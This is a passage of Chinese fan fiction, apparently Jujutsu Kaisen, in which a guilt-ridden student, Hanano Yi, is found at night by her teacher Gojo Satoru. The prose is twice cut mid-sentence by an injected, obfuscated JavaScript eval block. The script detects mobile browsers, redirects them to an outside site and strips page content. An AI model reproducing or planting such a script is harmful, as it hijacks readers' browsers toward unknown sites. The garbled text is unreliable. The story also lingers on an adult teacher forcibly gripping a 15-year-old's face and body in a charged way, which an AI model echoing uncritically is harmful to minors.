她仔仔细细地擦着自己的手指,一根一根地擦,从指根到指尖,从指缝到指腹,擦得很慢,很认真。 手指上沾了那些猴子的汗水和不知道是泪还是鼻涕的液体,那种黏腻的触感还残留在皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她又看了一眼那张办公桌,确认所有的东西都在原来的位置,然后转身离开了办公室。 走廊里还是那么安静。 花野依一边走一边从口袋里掏出手机,给七海先生发了条短信: “七海先生,我放学后有些事要处理,可能会晚一点回去,请您不要担心。” 短信发出去没多久,手机就震了一下,七海先生的回复很简短:“注意安全,有什么事随时联系我。” 花野依把手机收好,加快了脚步,沿着走廊一直走到尽头,推开了一扇很少人使用的消防门。 门后是一条窄窄的通道,通道的尽头是一段矮墙,矮墙外面是一条小路,通向学校的后门。 花野依爬上矮墙,翻了过去。 她的动作不算熟练,甚至有些笨拙,她的手扒着墙头,脚尖在墙面上蹭了几下才找到着力点。 裙摆被墙头的灰尘蹭脏了一块,膝盖也在翻过去的时候磕了一下。 她落地的姿势也不太好看,踉跄了一步才站稳。 她回头看了一眼露出的教学楼一角,阳光照在教学楼的窗户上,反射着刺眼的光。 花野依站在那里,忽然觉得有些恍惚。 在仙台的时候,她每天准时到校,准时放学,作业按时交,上课从不走神。 绝对是那种会被老师拿来当榜样的、规规矩矩的好学生。 她把手指慢慢收拢,握成一个拳头,指尖掐入掌心刺痛了她的神经。 她松开手,继续往前走。 33. 第三十三章 吉野家离学校不算近,走路大概要四十多分钟。 她没有打车,只是沿着路边的人行道,一步一步地走着。 下午的阳光从侧面照过来,把她的影子拉得很长,投在路边的墙根下,灰蒙蒙的,像一道被拖在地上的、褪色的墨痕。 她走得很慢,比平时慢很多,像是在故意拖延。 街上的人不多,偶尔有一辆车从身边开过去,带起一阵风,吹得她的裙摆飘起来。 她的目光落在前方的路面上,落在那些被太阳晒得发白的、有些裂缝的柏油路上。 落在自己的脚尖上,落在那个被自己踩在脚下的、晃晃悠悠的影子上面。 步伐机械而重复,像是被上了发条的玩具,不需要思考,只需要往前走就行了。 但她的脑子停不下来。 我在干什么? 这个念头像是浮起的气泡,咕嘟一声,就冒到了水面上,然后更多的气泡跟着冒上来,密密麻麻的,堵得她喘不过气。 我究竟在干什么? 她用咒术袭击了普通人。 在那些人还没有对她造成任何实质性伤害的时候,就主动出手了。 她用了寄生 她对美呮用了术式,对佐藤用了术式,对那些被吓到失禁、甚至昏过去的人也用了术式。 这不是一个咒术师该做的事。 咒术师不能对普通人使用咒术,这是最基本的戒律,是入学第一天就被反复强调的铁则。 咒术师存在的意义是保护普通人,祓除咒灵,维持秩序。 不是用咒力去伤害那些甚至看不见咒灵的人,更不是把自己的力量当成武器去惩罚那些自己看不惯的人。 如果被发现了呢? 这个念头像是被人从后脑勺狠狠地敲了一下,让花野依的脚步顿了一瞬。 如果被高层那些猴子发现了,如果窗监测到了这里的咒力残留,如果那些人醒来之后有人觉得不对劲。 她抹去了咒力残秽,她很确定自己抹得很干净。 但万一呢? 万一有哪里漏掉了,万一有哪个细节没有处理好,万一…… 她会被判刑,但老师呢?五条老师呢? 五条悟的脸在脑海里浮现出来。 还是那副笑嘻嘻的、什么都不在乎的样子,墨镜推在额头上,那双苍蓝色的眼睛弯成两道月牙。 他会兜底的。 他会的。 但那不是她可以肆无忌惮的理由。 花野依的指甲掐进掌心里,传来一阵刺痛。 他相信她是好孩子,他相信她会乖乖的,会听话,会不让自己受伤,会在遇到危险的时候等他回来。 她骗了他。 她答应过他的。 在办公室里,坐在那张舒服得让人不想起来的椅子上的时候,她答应过的。 她说过“好”,说过“我不会拖老师后腿”,说过那些听起来很乖、很让人放心的话。 但她心里想的不是那些。 她心里想的是“对不起,老师,如果还有下一次,我还是会这么做的”。 她心里想的是“比起和伙伴一起躲藏,我单独引开特级咒灵,伙伴们存活的几率更大”。 她心里想的是“那些力量都是用命换的,如果有一天需要再去换一次,我会换的”。 她骗了他。 而且她还在继续骗。 如果五条老师知道她今天做了什么,他会怎么想? 他还会叫她好孩子吗? 他还会揉她的头吗? 他还会用那种带着骄傲的语气说“我的学生”吗? 花野依的脚步越来越慢,慢到几乎停了下来。 她不知道自己这样做对不对。 这个问题在她脑子里转了一整个下午,从器材室转到办公室,从办公室转到那条矮墙,从矮墙转到这条不知道通往哪里的路。 她觉得自己是对的。 那些人在霸凌吉野顺平,他们在伤害一个什么错都没有的人,他们在用他的痛苦取乐,他们甚至在计划对她做同样的事。 如果她不用咒术,如果她只是一个普通的高中女生,如果她没有这些力量。 她会被他们按在地上,会被他们撕开衣服,会被他们变成另一个吉野顺平,另一个可以被随意摆弄的、不会反抗的玩具。 她有什么错? 她只是保护自己,只是阻止他们继续伤害别人,只是做了一件任何一个有能力的人都会做的事。 他们不是咒灵,但他们和咒灵有什么区别? 花野依的脑子里像是有两个声音在吵架,一个在左边,说她做得对,一个在右边,说她在犯错。 它们越吵越大声,越吵越激烈,吵得她头疼,吵得她耳朵里嗡嗡作响。 意义…… 我做这些有什么意义? 她想起吉野顺平。 那个她还没有见过面的、坐在空荡荡的座位上的男生。 她今天做的这一切,不就是为了他吗? 不就是为了弄清楚他身上发生了什么? 不就是为了确认他是不是能看见咒灵? 不就是为了完成七海先生交代的任务吗? 但那些霸凌他的人呢? 她教训了他们,修改了他们的记忆,让他们暂时忘记了自己想做什么。 然后呢? 明天呢? 后天呢? 他们醒来之后,还是会坐在那个教室里,还是会围在那个人身边,还是会用那种下流的眼神打量每一个新来的、看起来好欺负的人。 吉野顺平还是会缺席,那张椅子还是会倒在地上,那些笑声还是会从后排传过来,像是什么都没有改变过。 她做这些有什么意义? 也许根本就没有意义…… 花野依的脚步终于停了下来。 她站在一条很普通的街道上,夕阳从她身后照过来,把她的影子投在前面的地面上,很长,很细,像一根被拉长的墨线。 阳光从她身后斜射过来,把她的身体分成两半。 一半被照亮,暖橙色的光落在她的左肩、左臂、左侧的脸颊上,把那半边脸照得几乎透明,能看见皮肤下面细细的血管。 另一半隐藏在阴影里,沉在灰蓝色的暗调中,轮廓模糊,像是正在被慢慢吞没。 那道分界线从她的额头正中直直地落下来,经过鼻梁,经过嘴唇,经过下巴,把她的脸切成两个完全不同的世界。 她的脚步没有停,她还在往前走,往吉野家的方向走。 但她的脑子已经不受控制了。 意义! 什么是意义! 她做这些事的目的是什么,她只是出了一口气,只是让自己短暂的、暂时的、不那么难受了一点。 她想起在器材室里,她那个时候在想什么?她在享受吗?她在觉得痛快吗? 不是的…… 她没有觉得痛快…… 她只是觉得累。 那种从骨头缝里渗出来的、怎么都甩不掉的疲惫。 但如果不这样做,她又能怎么做呢? 她应该假装什么都不知道 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她以为只要不停地做点什么,不停地往前跑,不停地把自己扔进那些危险的事情里,就能不去想,就能不看,就能假装那些东西不存在。 但那些东西一直都在。 花野依站在吉野家门口的时候,天已经快黑了。 那是一栋很普通的民宅,两层楼,灰色的外墙,门口种着一棵不太高的树。 窗户里没有灯光,窗帘拉得严严实实的,什么都看不见。 门口的邮箱上贴着“吉野”两个字,字迹有些褪色了,边缘卷起来。 花野依靠着墙,慢慢地蹲下来 她的膝盖蜷在胸口,双手抱着自己的腿,下巴搁在膝盖上。 头发垂下来,遮住了半张脸。 那道把她的脸分成两半的夕阳已经沉下去了,只剩下无边的黑暗。 她的脸完全沉在阴影里,看不清表情,只有那双眼睛还亮着,空洞洞的,看着前方什么都没有的地方。 她不知道自己在做什么。 不知道自己为什么要来吉野家,就算见到了吉野顺平,她又能对他说什么。 她不知道。 她就那样蹲在墙根下,蜷成小小的一团,像一只被雨淋湿的、找不到地方躲的小动物。 风吹过来,带着傍晚的凉意,吹动了她的头发和衣角。 她蹲在那里,低着头,看着地面上那些细碎的、被风吹动的灰尘。 远处的路灯一盏一盏地亮起来,橘黄色的光在暮色中晕开,像是一团团被水稀释了的颜料。 有一盏路灯就在她头顶不远的地方,光线从上面落下来,在她脚边投下一小片光亮。 她在光与影的边界上,一半被照亮,一半沉在暗处。 她想起五条悟老师。 她要让他失望了。 她总是说对不起。 对虎杖说过,对伏黑说过,对钉崎说过,对噗噗说过。 现在对五条老师也要说了。 花野依把脸埋进膝盖里。 她的眼睛干涩得发疼,鼻腔酸胀,喉咙像是被什么东西堵住了,但她没有哭。 她只是把脸埋得更深了一些,把自己缩得更小了一些。 路灯亮着,风吹着,远处的天边最后一丝光也沉了下去。 花野依抬起脸,看向那扇没有灯的窗户,窗帘拉得很严实,什么都看不见。 她叹了一口气,把头靠在墙上,墙很凉,凉意透过头发渗进来。 她闭上眼睛,让自己沉进那片黑暗里。 34. 第三十四章 花野依靠在墙边,不知什么时候就那样蜷缩着睡着了。 她是被冷风吹醒的。 夜晚的风从巷口灌进来,带着深秋特有的凉意,穿过她单薄的校服,像一层冰凉的薄膜覆在皮肤上。 她打了个寒颤,肩膀猛地缩了一下,整个人从迷糊中弹起来,后脑勺磕在身后的墙上,发出一声闷响。 疼! 她捂着后脑勺,眯着眼睛看向四周,街上寂静得像是被人按下了静音键。 路灯孤零零地立在街角,灯罩里积着灰,几只飞蛾在里面扑腾,翅膀拍打铁皮的声音噗嗤噗嗤的,在这片寂静里显得格外清晰。 飞蛾的影子被灯光放大,投在地上,灰扑扑的,像是几个在挣扎的小小的鬼魂。 花野依掏出手机看了一眼屏幕。 亮光刺得她眯起眼睛,等瞳孔适应了那道光,她才看清上面的数字。 居然已经这个时间了! 她盯着那串数字愣了几秒,然后猛地站起来,腿却因为蹲了太久发麻,膝盖软了一下,扶住墙才稳住。 她快步往街道口走,打算到路口去打车。 鞋底踩在人行道上,发出急促的、凌乱的声响,在空旷的街道上回荡。 铃铃铃! 手机铃声响了。 屏幕上亮着“五条老师”三个字。 花野依的脚步停住了,手指悬在屏幕上方,犹豫了一瞬,还是按下了接听键。 “莫西莫西,五条老师?”她把手机贴在耳边,声音尽量放得平稳。 “嗨嗨——是最受欢迎的五条老师哟!” 电话那头传来五条悟的声音,语调上扬带着懒洋洋的愉悦,背景里很安静,没有车声,没有人声,不像是在外面。 花野依的脚步不自觉地放慢了。 “五条老师,是有紧急任务给我吗?”她有些疑惑地问。 这个时间点打电话来,她想不出别的原因。 “真是让老师伤心呢!”,五条悟的语气变得夸张起来,自然的撒着娇。 “作为最负责的老师,我就不能关心一下自己学生的日常生活吗?” 花野依几乎可以想象他在电话那头的表情——大概是歪着头,嘴角翘着,一只手拿着手机,另一只手不知道在摆弄什么东西。 她假装听不懂他话里的意思,答非所问地说:“谢谢老师关心,我还好。” 电话那头安静了一瞬。 “老师不是问的这个。”五条悟语气一转,带着不容置疑。 “你现在在哪里?” 他的声音从听筒里传出来,像是隔着一层薄薄的雾霭,有些失真、模糊,花野依有些摸不清他此刻的心情。 但语气里不容拒绝的强硬,像一只手,隔着电话线伸过来,攥住了她的后颈。 花野依的脚步彻底停了下来,她不想让老师看见自己现在这个样子。 不用照镜子她也知道自己有多狼狈,校服皱巴巴的,裙摆蹭着灰,头发乱糟糟地贴在脸上,眼睛大概是肿的,鼻尖大概是红的,脸色大概比平时还要白。 她体内的咒力像是被拧干的海绵,刚才在器材室里用了太多,后来又在路上消耗了太多,现在只剩下薄薄的一层覆在身体表面,像一件穿旧了的、到处都是破洞的衣服。 她能感觉到那种虚脱感从骨头缝里渗出来,四肢发软,指尖发凉,脑袋昏昏沉沉的,像是把里面掏空了。 如果五条老师看见她,不需要解释,他就一定会知道她今天做了什么。 那双什么都能看穿的六眼,会把她整个人从里到外翻一遍,把那些她不想让他看见的东西全部翻出来,摊在灯光下。 她不想让他知道。 “五条老师,”她开口,声音比平时轻,带着一种她自己都没察觉到的、小心翼翼的试探。 “我现在正在往回走,马上就到了,不用担心我。” 电话那头安静了,没有人说话,花野依能听见五条悟的呼吸声,很轻,很稳,和平时一模一样。 但那种平稳让她心里发毛。 “地址。” 只有两个字,语气是花野依从来没有在五条悟身上听到过。 像是家长在问夜不归宿的孩子,像是在努力地压着自己的脾气。 花野依的手指攥紧了手机,她张了张嘴,又被咽回去了。 她不敢在这个时候再说什么拒绝的话,她听出来了,那语气让人从脊椎骨往上发凉。 “吉野家……”她小声说出了地址,声音低得像是蚊子哼。 “等着。” 电话挂了。 花野依站在原地,手机还举在耳边,听筒里传来嘟嘟嘟的忙音,她慢慢放下手,屏幕暗下去,映出她自己模糊的倒影。 路灯的光照在她脸上,把她的脸色照得更加苍白。 眼眶下面那圈青色在灯光下格外明显,鼻尖还带着一点没褪尽的红,嘴唇干裂了,下唇有一道浅浅的齿痕,是她自己咬的。 糟糕了! 五条老师绝对生气了! 怎么办! 她的脑子里乱成一团,各种念头搅在一起,像是一锅煮糊了的粥。 她站在那里,脚像是被钉在地上一样,一步都迈不出去。 最后她选择蹲在地上,把脸埋进膝盖里,双手抱着头,把自己缩成最小的一团。 好像只要自己够小,够不起眼,够不引人注意,五条老师就不会看见她,就不会知道她做了什么。 她蹲在那里,心跳得很快,快到她能听见自己的血液在耳朵里冲撞的声音。 飞蛾还在灯罩里扑腾,噗嗤噗嗤的,像是在嘲笑她。 “我可没教过你,面对老师要逃避。” 声音从身后传来。 花野依猛向前看去,眼前什么都看不见,只看见自己面前的地上多了一片阴影。 五条悟站在她的身后,离得非常近,他的脚尖几乎快要触碰到花野依垂下的裙摆。 高大的体型被灯光照射出阴影,笼罩着花野依,把她围的密不透风,他低着头看着蹲在地上装作鸵鸟的花野依 “在这里” 声音从头顶传来,花野依下意识地抬起头,与五条悟蔚蓝色的眼眸对视 五条悟站在背光处。 他整个脸都沉在阴影里,五官模糊,轮廓却异常清晰,高高的颧骨,瘦削的下颌线,还有那双在暗处依然亮得惊人的眼睛。 苍蓝色的,冷冽的,像是深冬的湖面结了冰,冰层下面有水流,但什么都看不见。 他就那样低头盯着她,居高临下,一言不发,整个人显得有些阴郁。 那双眼睛紧紧地盯着她,像是暗处蛰伏的猎豹,不急于出击,只是在观察,在等待,在看她还能做出什么来。 花野依被那道目光钉在原地,浑身的血液都凉了半拍。 “啊!” 她被吓了一跳,整个人往后倒去,身体失去平衡,双手在空中胡乱抓了一下,什么都没抓住。 她坐在他的皮鞋上,裙摆铺开,盖住了他的鞋面。 她的后脑勺抵在五条悟的大腿处,整个后背靠在他的腿上,被他支撑着。 夏季的制服很薄,薄到她能清晰地感受到身后那个人腿部的温度和轮廓,甚至能闻到一股凌冽的男士沐浴露的香味。 和她身上是同一个味道。 感受着身下人传来的热量,五条悟伸出手按住了花野依的肩膀。 那只手很大,掌心温热,按在她瘦削的肩头上,像是按住一只想要逃跑的小动物。 力道不重,但她动不了。 “五条老师?”花野依有些不解,仰起头看向他。 她的脸色素白,在路灯下几乎透明,能看见太阳穴附近细细的青色血管。 鼻尖还带着一点被风吹出来的红,眼尾也有一圈浅浅的红,是刚才蹲着的时候揉出来的,还没有完全褪去。 那双圆润的眼睛呆呆地看着他,里面映着路灯的光和他模糊的倒影。 “我说啊,”五条悟伸出另一只手,掐住了花野依的下巴。 他的手指很长,指节分明,微凉的指尖陷进她脸颊两侧的软肉里,力道不大,但很牢固。 她的脸被那只手托着,被迫仰得更高,后仰的幅度更大,整个脖颈都暴露在空气中,细瘦的,苍白的,能看见下面那根细细的筋在微微跳动。 她与他对视的姿势变得更加勉强,几乎是从下往上在看他,视野里的他是颠倒的,不确定的。 五条悟开口了。 “你看看你现在的样子!”他的声音从头顶落下来,低低的,带着一种她没听过的情绪。 “校服皱成这样,头发乱成这样,眼睛红红的,鼻头也红红的,脸色白得跟纸一样。 咒力呢?咒力用光了?你干了什么能把咒力用成这样?” 花野依张了张嘴,想说什么,但他的手掌太大了,几乎掐住了她的整张脸,她的嘴唇只能发出含混的气音。 “还有,”五条悟继续说,语气里的责备越来越明显 “为什么不告诉老师?一个人跑到这种地方 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但那力道本身,那种被控制住、无法动弹的感觉,让她浑身都不自在,像是被什么东西裹住了,挣不开,逃不掉,只能被困在原地。 她能感觉到他指尖的凉意,能感觉到他掌心的纹路,能感觉到他手腕上那根骨头的形状。 太近了!太近了! 她下意识地想要挣脱,是身体的本能反应。 她扭了一下肩膀,动不了,又试着偏头,也动不了,情急之下,她张开嘴,咬住了他捂住自己嘴的那只手。 但先有动作的不是牙齿,是舌头。 舌尖触碰到他掌心的那一刻,两个人的动作都停住了。 那是一瞬间的事。 花野依自己都没有反应过来发生了什么,只是感觉到嘴唇和牙齿之间有什么温热的、带着一点咸味的东西。 她还没来得及想明白那是什么,扼住她下巴的那只手突然加大了力度。 像是被刺激后的应激反应。 她的下巴被捏得生疼,颞颌关节发出细微的咔嗒声。 肩膀上的那只手也跟着收紧,指节嵌进她锁骨的缝隙里,像是要把她整个人捏碎。 “唔——!”花野依忍不住呜咽出声,眼泪一下子涌了上来。 她的手覆上五条悟的手,指甲掐进他的手背,拼命地拍打,想让他松开。 但那只手像是铁铸的一样,纹丝不动。 冷风吹过来,带起她耳边散落的发丝,那些细软的、黑色的发丝像是有了生命一样,缠绕在他的手腕上,一圈,两圈,缠得很紧,像是要把他绑住。 “咳咳咳——!” 她被自己的口水呛住了,剧烈地咳嗽起来,脸涨得通红,眼泪从眼角滑落,滴在他的手背上。 那只手松开了。 花野依整个人往前扑倒,双手撑在地上,膝盖跪在冰凉的人行道上。 她的身体不自觉地颤抖着,像是刚刚经历了一场追捕的小兔子,终于从猎人的手里逃出来,却还在本能地发抖。 头发散落下来,遮住了半张脸,几缕发丝粘在嘴角和脸颊上,被眼泪浸湿了,怎么都甩不掉。 她满眼都是泪水,视线模糊,只能看见地面上自己模糊的倒影。 她喘着气,胸口剧烈地起伏,咳嗽还没有完全停下来,一声一声的,闷闷的,像是被什么东西堵着。 五条悟蹲下来,蹲在她身边。 他伸出手,宽大的、温热的手掌落在她的后背上,轻轻地、有节奏地拍着,那力度和刚才判若两人,轻得像是在安抚一只受惊的幼兽。 “对不起啦,”他说,声音低低的,带着一种笨拙的、不太熟练的歉意,“老师刚刚弄疼你了。” 花野依趴在地上,好一会儿才缓过来。 她的呼吸渐渐平稳了,咳嗽也停了,但眼泪还在流,止都止不住。 她不知道自己为什么在哭但她就是停不下来。 那些憋了一整天的、说不清道不明的东西,全都在这一刻涌了上来,堵在眼眶里,堵在鼻腔里,堵在喉咙里,怎么都咽不回去。 她用手背擦了擦脸,擦了一脸的眼泪和鼻涕,越擦越多。 她索性不擦了,就那么趴在地上,声音颤抖着,带着哭泣后的沙哑和哽咽,闷闷地开口: “我再也不要和老师说话了!” 五条悟的手在她背上停了一瞬,然后又继续拍起来。 “欸——!”他拖长了语调,声音里带着一点惊讶,委屈,还有藏不住的、快要溢出来的笑意。 35. 第三十五章 花野依没有回话,她只是蹲在那里,一味地哭泣,哭声不大,甚至可以说是压抑的。 但泪水却怎么也止不住,一颗接一颗地从眼眶里滚落下来,顺着脸颊滑到下巴,再滴落在膝盖上、裙摆上、地面上。 在路灯下闪着细碎的光,像是被谁打翻了一盒碎水晶,收拾不起来。 她呜呜咽咽地抽泣着,肩膀轻轻颤抖,整个人缩成小小的一团,蹲在路灯底下,影子被光拉得很短,短短地蜷在脚边,看起来格外令人心疼。 五条悟站起身来,低头看着这个缩成一团的学生,难得的有些手足无措。 他在过往的二十八年人生里实在缺少和女性打交道的经验。 那些被他气走的人不值得他哄,需要他哄的人——仔细想想,好像一个都没有。 实在是不擅长面对女性的眼泪,他不知道该怎么办,就那么愣愣地站着。 他盯着花野依哭泣的侧脸,下颌上有一片宽大的、泛红的手印,是他刚才掐出来的,在她素白的脸上格外显眼。 长长的睫毛被泪水打湿了,一簇一簇地粘在一起,像是雨后沾了水珠的草叶。 整个人看起来湿漉漉的,可怜兮兮的,像是刚从水里捞出来的一样。 五条悟开始思考起是不是自己的教育方式哪里出了问题。 他认真地在脑子里过了一遍自己带花野依以来的所作所为——好像、似乎、大概、确实有那么一点点严格? 但他很快否定了这个念头。 身为高专最受欢迎的麻辣教师,自己的教育方式也绝对是最受欢迎的! 这一点毋庸置疑,不容置疑,不需要任何质疑。 所以问题还是出在她身上吗? 他叹了口气,那口气叹得很轻,但在安静的夜里还是能听见。 “嘛——算了!” 五条悟挠了挠后脑勺,语气里带着放弃挣扎的妥协。 他弯下腰,双手掐住花野依的腋窝。 “嗯?” 花野依被他掐住,不知道他要做什么,那眼睛呆愣愣地看着他。 眼睛里还盛着没流完的泪,在路灯下亮晶晶的,像两颗泡在水里的黑葡萄。 “嘿咻!” 他腰身微微用力,把蹲在地上的花野依像拎一只小猫一样提起来,然后稳稳地放在地上。 站起来的花野依睫毛上还挂着泪水,一颗一颗的,在灯光下颤巍巍地闪着光,像是快要坠落的、细小的水晶。 她眨了眨眼,那些泪珠便顺着眼角滚下来,又滑过脸颊,留下一道浅浅的湿痕。 她抬起头看向对面的五条悟,这一次,她清晰地看见了他的表情。 他皱着眉头,嘴唇微微抿着,那双苍蓝色的眼睛正看着她。 最让花野依惊讶的是,那眼神里居然带着一点——委屈? 五条老师? 委屈? 她眨了眨眼,睫毛上的泪珠又掉了几颗,怀疑自己是不是哭太久把眼睛哭坏了。 “对不起嘛!” 五条悟开口了,语气轻松,和刚才那个掐着她下巴、语气冷硬的人判若两人。 他抬起手,揉了揉她的头顶,动作很轻,像是怕再弄疼她。 “现在想来,老师确实有点太严格了。” 虽然不承认自己的教学方式有问题。 不承认作为最强的自己面对学生的眼泪也会无可奈何。 但他还是选择了低头。 花野依也只是一个刚接触咒术界两个月不到的“新生儿”。 从一个普通高中生,到独自祓除特级咒灵的一级咒术师,这条路他走得太急了,急到忘了她才十五岁。 “嗯?老师你在说什么?”花野依耸了耸鼻子,疑惑地看向他。 她的声音还带着哭过之后的沙哑和鼻音,闷闷的,糯糯的,像是被水泡发了。 夜晚的冷风吹过来,拂过她被揉乱的发丝,几缕碎发飘到嘴角边,粘在还有些湿润的嘴唇上。 冷风刺激着她哭得有些红肿的眼睛,泪水又不自觉地溢出来,无声地滑过脸颊。 “老师的意思是……” 五条悟抬起手,温热的掌心轻轻托住她的脸颊。 他的手掌很大,几乎能包住她半张脸,细腻的掌心贴着她被泪水浸得有些冰凉的皮肤,温度从那里传过来,一点一点的,像是在慢慢融化。 他伸出拇指,温柔地拂过她的眼睛下,从眉头到眼角,把那道湿痕抹去。 拇指顺着她的脸颊往下,拂过唇边,带起那几缕粘在嘴角的发丝,轻轻地、慢慢地掖到她耳后。 夏末的夜晚很凉,甚至有些冷意,但花野依的脸颊是烫的。 她被五条悟突如其来的动作弄昏了头,脑子像是被搅乱,什么都想不清楚。 她能感觉到他掌心的温度。 能感觉到他拇指拂过她脸颊时那层薄薄的茧,以及掖起她耳后发丝时指尖不小心碰到她耳廓的那一下。 耳根开始发烫,热意从耳垂蔓延到耳廓,从耳廓蔓延到脸颊,又从脸颊蔓延到脖颈。 她不敢看向五条悟,视线落在他外套的第二颗扣子上,一动不动。 “忽略了你的感受,是老师的不对。” 他的声音低低的,柔柔的,从头顶落下来,像是被风轻轻吹过来,落在她耳朵里,痒痒的。 “啊?啊!” 花野依终于回过神来,往后踉跄了两步,离开了那只手的温度。 冷风从两个人之间的缝隙里灌进来,吹在她发烫的脸上,她才觉得清醒了一点。 她低下头,手指不自觉地揪着衣角,把那一小块布料揉来揉去,揉皱了又抚平,抚平了又揉皱 “没、没关系。” 她忐忑地抬起眼,飞快地看了五条悟一眼,又低下头。 其实她还是不明白五条老师为什么要道歉。 明明做错事的是她,明明不听话的是她,明明擅自用咒术伤害普通人的是她。 该道歉的人是她才对。 五条悟看着她这副模样,怎么会不知道她根本没听进去。 他叹了口气,那口气叹得比刚才长一些,重一些。 “唉!” 他双手抱臂,语气一转,恢复了那种轻快的、不容置疑的调子。 “这次的任务你不要做了。” “欸?!” 花野依猛地抬起头,眼睛睁大了,那些残余的泪意一下子被惊讶驱散了。 她内心忐忑起来,脑子里飞快地转着,是老师发现什么了吗? “是我哪里做错了吗?”她小心翼翼地问,声音轻得像是在试探什么。 “不是。” 五条悟一只手叉腰,另一只手摸了摸后脑勺,像是在组织语言。 “你的任务交给别人来做,现在要改变一下对你的教育方针。” 说到这里,他的语气里带上了一丝故弄玄虚的神秘感。 “所以!GTG决定了!小依你要跟着老师一起做任务,老师亲自带着你!” 他单手叉腰,另一只手比了个大拇指,做出一副自认为帅气的模样,嘴角翘得高高的。 “可不要太感动哦!” 花野依看着他这副样子,刚才那些乱七八糟的情绪一下子被冲散了大半。 她有些无语地垂下眼睛,小声嘟囔:“并没有很感动。” “你绝对害羞了!” “没有。” “有!你耳根都红了!” 花野依下意识地抬手摸了摸耳朵,确实有点烫,但那是因为——算了,她不想解释了。 她低下头,假装在整理被揉乱的衣角。 五条悟看着她这副明明心虚还要假装淡定的样子,忍不住又伸手用力地揉了揉她的头顶,把刚才理顺的头发又揉得乱七八糟。 经过这一系列剧烈的情绪变化,花野依觉得自己整个人像是被拧干了的海绵,每一寸肌肉都在叫嚣着疲惫。 她忍不住打了一个呵欠,眼泪又从眼角挤出来。 “困了?”五条悟问道,然后像是想到了什么绝妙的主意,语气变得轻快起来。 “小依你不是会反转术式吗?咻的一下,嘿的一下,快点把疲惫治好啦!” “老师……” 花野依精神萎靡地反驳,声音有气无力的,像是在跟一个听不懂人话的小孩解释。 “反转术式只能治愈□□上的疲惫,精神上的疲惫完全不能治。” 五条悟听完,沉默了一会儿,路灯的光落在他脸上,把他那副墨镜照得反光,看不清他的表情。 过了一会儿,他开口了:“你还是太弱了。” 花野依无视了他这句话,跟五条老师比起来,这个世界上就没有强的人吧。 “小依你刚才是不是在想‘跟五条老师比起来就没有强的人吧’?” 花野依没有回答。 “你绝对在想!绝对!” 五条悟的语气变得得意起来,“这么夸奖老师,老师也会不好意思的。” “没有夸奖……”花野依说。 “有的!” 花野依选择不再接话。 “阿秋!” 她打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471658|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喷嚏,整个人抖了一下,肩膀缩起来,双手不自觉地抱住自己的手臂。 “冷吗?”五条悟问。 花野依点了点头,鼻尖又红了:“我们快点回去吧。” 她说着就转过身去,朝着回家的方向迈开步子。 夜风从前面吹过来,灌进她单薄的校服里,凉飕飕的,她又抖了一下。 “明明现在还是夏天呢,” 五条悟的声音从身后传来,带着一种不可思议的语气,“小依居然感觉冷,你也太弱了!” 身后响起窸窸窣窣的声音,是布料摩擦的声音,还有什么东西被抖开的声音。 花野依实在不想再和他掰扯了,她现在只想快点回到公寓里,钻进被子里,闭上眼睛,什么都不想。 她放软了语气,带着一种认输的、妥协的示弱:“现在已经是夏季末尾了,而且……” 话没说完,一件东西盖在了她的肩膀上。 很重,很暖,带着另一个人的体温。 是一件外套,宽大的、深色的外套,袖口垂下来,几乎盖住了她的整只手。 衣服上有一种很淡的气味,是属于五条老师的气味,花野依愣了一下,脚步停住了。 “伸手。” 五条悟不知什么时候走到了她前面,正面对着她。 他抬起外套的两只袖子,示意她把手伸进去,花野依下意识地照做了,把胳膊套进那两只长得过分的袖子里。 五条悟低下头,开始帮她扣扣子。 他的手指很长,指节分明,捏着那些小小的纽扣,一颗一颗地从下往上扣,动作不快不慢,像是在做什么很自然的事情。 他的睫毛垂下来,在路灯下投出一小片扇形的阴影,遮住了那双苍蓝色的眼睛,只能看见他专注的、微微低垂的侧脸。 外套很大,一米九的五条悟穿着XL码的教师外套,对于只有一米六几的花野依来说实在是太大了。 衣摆垂下来,几乎盖住了她的裙摆,只露出最下面一小截百褶的边缘。 袖口长出一大截,把她的手指完全吞没了,只露出指尖,领口也大,松垮垮地挂在她瘦削的肩膀上,像是偷穿了大人衣服的小孩。 整个人都被裹在那片深色的布料里,只剩下若隐若现的裙摆和一双露在外面的、穿着黑色腿袜的小腿。 外套隔绝了外部的凉意,风再也吹不进来。 衣服里的温度一点一点地升上来,是五条悟残留的体温。 从布料里渗透出来,包裹住她的肩膀、手臂、后背,像是把她整个人都圈住了,密不透风的,暖烘烘的。 气味也变得更加清晰了,干净的,清淡的,像是冬天里刚晒过的被子,又像是清晨山间的雾气,闻久了会让人昏昏欲睡。 “那五条老师你不冷吗?”花野依担忧地看向他。 他此刻只穿着内里的白色衬衫,没有logo,看不出牌子,但从面料的光泽和垂坠感就能看出价值不菲。 衬衫是修身的版型,被塞进裤子里,和腰带一起紧紧地圈住他精瘦有力的腰身。 布料服帖地覆在他的身体上,随着他的呼吸微微起伏。 能隐约看见底下肩胛骨的轮廓、手臂上肌肉的线条,还有胸前那一片被布料裹住的、宽阔的弧度。 路灯的光从侧面照过来,把他的影子拉得很长,投在地上,花野依的影子被他的外套裹着,小小的一团,站在他的影子旁边。 “完全不哦!” 五条悟伸出手,假装扇了扇风,“老师现在还觉得有点热呢!” “好吧。” 花野依把脸微微埋进外套的领口里,鼻尖蹭到那层柔软的布料,那股干净的气味更浓了。 她的声音听起来闷闷的,像是隔着一层东西,“那我们快点回去吧。” 五条悟应了一声,转身走在前面。 